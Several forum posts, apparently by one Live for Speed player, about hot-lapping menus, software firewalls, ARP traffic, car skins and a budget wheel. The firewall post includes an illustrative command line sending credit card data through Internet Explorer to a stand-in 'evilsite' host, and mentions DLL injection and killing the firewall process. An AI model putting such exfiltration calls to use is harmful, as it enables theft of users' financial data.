As far as I have heard, the Super 2000 class was considered to be a cheap entry class for upcoming drivers in the WRC class. But the S2000 class got expensive very quickly and they are back at square one.
Thank you! I tried that before and it didn't 'feel' right to me. Let me explain ... this will paint me even more nitpicking
I don't like interaction which isn't needed. In case of having 'Show Intro' enabled, i have to abort the intro with the escape key (mouse doesn't work here) and have to click through one additional screen when exiting. This is definitely not a biggie, but it's poking me every time just a little ... the T-style preloading was perfect for me and i miss it.
(Disclaimer: Read the U14 thread, read this thread, tried the U14 a couple of times)
There are a few things that i don't like ...
Short: I would love to have the old T-style preloading of tracks back via an option to turn it on/off and I would like to be 'auto-joined' to a hot lap race.
Reason: I usually hotlap using a track car combo i currently 'work' on. In T-days i could:
1) fire LFS up
2) click on 'Hot lapping'
3) click 'Ready' and give it a spin.
Now i have to:
1) start LFS
2) click on 'Hot lapping'
3) select a track ... which i have to remember
4) 'join race' ... where there is no other option
5) click ready and give it a spin
Step 3 is OKish for me now (since U14), but i still would love to have the track preloaded.
Step 4 is realy not needed since there is nobody else than me who might hotlap
Besides that U14 is fine for me and i realy like the improvements.
I'm fully aware of this and i ran software firewalls for years, so i know what you are talking about. But I think in most cases either the risk is low or the firewall will not protect me sufficiently. Let me get into this ...
IMHO There are two types of applications i would like to keep from accessing network resources: 1) bad mannered standard applications (eg. phone home software) 2) malicious software (eg. trojans, viruses, ...)
In case of (1) 'phoney software', it boils down to trust and keeping sensitive data safe. On top of this i have heaps of realy boring data on my HD and i doubt any software will find something interesting to phone home about. Again this is not about evil software, just chatty phone home applications. So the risk is low (on my computer).
Another thing i noticed is that in times of the 'intarweb' a lot of applications are net-bound by nature, so you either cannot block net access without making it useless or you open up your firewall. There's just no way to tell legitimate from nasty traffic. Catch22
Case (2) 'the evildoers' is something completely different. In my opinion you cannot block malicious traffic because you usually have at least one trusted application in your 'firewall'. Lets say you have IE in your trusted list of apps. What prevents evil app (tm) from calling 'IEXPLORE.EXEhttp://evilsite,com/eat.php?mycreditcard=123456'. Or even worse injecting code into the trusted app (DLL inject) and piggyback sensitive data reusing trusted network connections. As far as i know software firewalls still do the fingerprinting 'on disk' and not 'in memory' so it will go unnoticed. Considering recent virus descriptions it also seems to be possible to simply kill the firewall process and happily send data unnoticed.
To sum it all up ... I (and it might only work for me) rely on trusted software and keeping sensitive data safe. The small gain in protection for me is not worth the trouble i had with recent sw firewalls.
Edit: One thing i forgot. Considering the constant nagging of sw firewalls that this or that application wants net access, endusers tend to allow a lot more apps access than needed. They just want to get rid of the message box. Another problem is that a user has to grant permission based on the path and name of the application. Let's say i'm an evil programmer and i wrote a software called 'IEXPLORE.EXE' located in 'c:\programms\'. Which user would think 'ahh this is strange usually IE lives in ...'? I bet 90% would grant the application access thinking 'stupid firewall i told you zillion times that IE is trusted'. OK, i'll stop ranting ... in the end i would always trust LFS.exe
Skip to 'In plain english' if you don't want to be confused by networking details
On a ethernet network devices need the hardware address (MAC address) of each other to be able to communicate. If you are running a TCP/IP protocol over a ethernet network, your computer needs to know which IP address (e.g. 192.168.1.1) corresponds to which MAC/hardware address (e.g. 00-50-56-C0-00-01).
To get this information your computer will broadcast a 'ARP request' containing the IP address of a device of which it likes to know the MAC/hardware address. Usualy this 'ARP request' is not sent by the application itself, it is part of the address resolution (see ARP) handled by the OS. The response to the above request will be sent by the device listening to the target IP address.
In your case the application wanted to know the MAC/hardware address of the device listening to the IP address 192.168.4.254. This is absolutely harmless and standard procedure.
In plain english
Your computer shouted 'Who is listening to 192.168.4.254 and where does he live'. This is absolutely normal and happens all the time when your computer is trying to talk to a computer in your local network via TCP/IP. Those ARP packets are never sent to the internet because nobody in the outer world would care.
What i wonder is, what crappy software 'firewall' does give you that kind of useless information?
On a personal side note: I so hate 'personal firewalls'! If you are on DSL/cable get a cheap router and live in peace.
Hey i took your skin for a walk in SO and also an edited version without the highlights. Yup you are right it does make a pretty noticeable difference and on top of it all it looks realy good. When i edited your skin i noticed how many details you used in your skin (all the nuts and bolts, small grooves on the nose, the tank caps). Too bad that they are barely visible in the game and especially online with a 512x512 resized skin.
I was always reluctant to use 'canned' highlights and shadows because i thought it should be done by the graphics engine. Guess i was wrong ...
Have you ever tried to use a fake shadow under the side mirrors (especialy on the GT and street cars)?
One question. I noticed that you are doing 'fake' highlights on the edges. Does it realy work (is noticeable as an accentuation of the models edges) or is there another reason?
I do have one (the red one, don't know about yellow ones) and i think it's quite good especially for the price you mentioned.
Lock to lock it's 270 degrees. (EDIT: it's 200 ... just checked )
Positive:
+ reasonably priced (especially for 10 pounds)
+ FF has quite a punch
+ didn't break in the last 2-3 years i used it
Negative:
- doesn't have a precision feel to it, everything is a bit wobbly
- two more buttons would be nice (got 4 on the front and 2 paddle shifters on the back)
Even if you are not satisfied it will be a nice backup if 'the one to come after it' will break ...